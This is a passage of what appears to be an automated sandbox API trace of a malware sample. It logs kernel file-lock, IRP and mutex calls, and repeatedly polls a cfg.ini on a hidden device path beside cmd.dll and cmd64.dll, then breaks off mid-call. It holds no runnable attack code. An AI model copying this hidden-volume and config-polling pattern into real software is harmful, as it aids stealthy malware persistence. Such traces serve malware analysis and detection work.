[0128.894] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.894] IdePortDispatch () returned 0x103 [0128.896] KeWaitForMutexObject () returned 0x0 [0128.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.896] KeLeaveCriticalRegion () [0128.896] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.896] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.896] KeEnterCriticalRegion () [0128.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.896] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b62000 [0128.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.896] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.896] IdePortDispatch () returned 0x103 [0128.896] KeWaitForMutexObject () returned 0x0 [0128.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.897] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.897] IdePortDispatch () returned 0x103 [0128.897] KeWaitForMutexObject () returned 0x0 [0128.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.897] KeLeaveCriticalRegion () [0128.897] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.897] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.897] KeEnterCriticalRegion () [0128.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.897] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.897] KeLeaveCriticalRegion () [0128.897] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.897] KeEnterCriticalRegion () [0128.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.898] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.898] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c013e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.898] KeLeaveCriticalRegion () [0128.898] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.898] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.898] KeEnterCriticalRegion () [0128.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.898] ExFreePoolWithTag (P=0xfffffa8003c02dc0, Tag=0x0) [0128.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.898] KeLeaveCriticalRegion () [0128.898] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.898] ReleaseMutex (hMutex=0xf0) returned 1 [0128.898] Sleep (dwMilliseconds=0x124f80) [0128.913] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.913] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.913] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.913] KeEnterCriticalRegion () [0128.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.913] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.913] IdePortDispatch () returned 0x103 [0128.913] KeWaitForMutexObject () returned 0x0 [0128.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.913] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.913] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.913] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.913] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.913] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01570 [0128.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.914] KeLeaveCriticalRegion () [0128.914] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.914] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.914] KeEnterCriticalRegion () [0128.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.914] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.914] KeLeaveCriticalRegion () [0128.914] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.914] KeEnterCriticalRegion () [0128.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.914] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.914] IdePortDispatch () returned 0x103 [0128.914] KeWaitForMutexObject () returned 0x0 [0128.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.914] KeLeaveCriticalRegion () [0128.914] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.914] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.914] KeEnterCriticalRegion () [0128.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b67000 [0128.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.914] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.914] IdePortDispatch () returned 0x103 [0128.915] KeWaitForMutexObject () returned 0x0 [0128.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.915] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.915] IdePortDispatch () returned 0x103 [0128.915] KeWaitForMutexObject () returned 0x0 [0128.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.915] KeLeaveCriticalRegion () [0128.915] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.916] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.916] KeEnterCriticalRegion () [0128.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.916] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.916] KeLeaveCriticalRegion () [0128.916] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.916] KeEnterCriticalRegion () [0128.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.916] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.916] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.916] KeLeaveCriticalRegion () [0128.916] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.916] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.916] KeEnterCriticalRegion () [0128.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.916] ExFreePoolWithTag (P=0xfffffa8003c01570, Tag=0x0) [0128.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.916] KeLeaveCriticalRegion () [0128.916] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.916] ReleaseMutex (hMutex=0xf0) returned 1 [0128.916] Sleep (dwMilliseconds=0x124f80) [0128.934] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.934] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.934] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.934] KeEnterCriticalRegion () [0128.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.934] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.934] IdePortDispatch () returned 0x103 [0128.934] KeWaitForMutexObject () returned 0x0 [0128.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.934] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.934] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.934] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.934] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.934] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc970 [0128.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.934] KeLeaveCriticalRegion () [0128.934] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.934] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.934] KeEnterCriticalRegion () [0128.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.935] KeLeaveCriticalRegion () [0128.935] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.935] KeEnterCriticalRegion () [0128.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.935] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.935] IdePortDispatch () returned 0x103 [0128.935] KeWaitForMutexObject () returned 0x0 [0128.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.935] KeLeaveCriticalRegion () [0128.935] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.935] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.935] KeEnterCriticalRegion () [0128.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6c000 [0128.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.935] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.935] IdePortDispatch () returned 0x103 [0128.935] KeWaitForMutexObject () returned 0x0 [0128.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.936] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.936] IdePortDispatch () returned 0x103 [0128.936] KeWaitForMutexObject () returned 0x0 [0128.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.936] KeLeaveCriticalRegion () [0128.936] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.936] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.937] KeEnterCriticalRegion () [0128.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.937] KeLeaveCriticalRegion () [0128.937] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.937] KeEnterCriticalRegion () [0128.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.937] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.937] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.937] KeLeaveCriticalRegion () [0128.937] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.937] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.937] KeEnterCriticalRegion () [0128.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.937] ExFreePoolWithTag (P=0xfffffa8003acc970, Tag=0x0) [0128.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.937] KeLeaveCriticalRegion () [0128.937] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.937] ReleaseMutex (hMutex=0xf0) returned 1 [0128.937] Sleep (dwMilliseconds=0x124f80) [0128.952] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.952] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.952] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.952] KeEnterCriticalRegion () [0128.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.952] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.952] IdePortDispatch () returned 0x103 [0128.953] KeWaitForMutexObject () returned 0x0 [0128.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.953] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.953] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.953] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.953] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.953] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01470 [0128.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.953] KeLeaveCriticalRegion () [0128.953] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.953] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.953] KeEnterCriticalRegion () [0128.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.953] KeLeaveCriticalRegion () [0128.953] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.953] KeEnterCriticalRegion () [0128.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.953] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.953] IdePortDispatch () returned 0x103 [0128.953] KeWaitForMutexObject () returned 0x0 [0128.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.954] KeLeaveCriticalRegion () [0128.954] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.954] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.954] KeEnterCriticalRegion () [0128.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.954] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b71000 [0128.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.954] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.954] IdePortDispatch () returned 0x103 [0128.954] KeWaitForMutexObject () returned 0x0 [0128.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.954] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.954] IdePortDispatch () returned 0x103 [0128.954] KeWaitForMutexObject () returned 0x0 [0128.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.954] KeLeaveCriticalRegion () [0128.954] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.955] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.955] KeEnterCriticalRegion () [0128.955] ExAcquireFastMutexUnsafe (in: 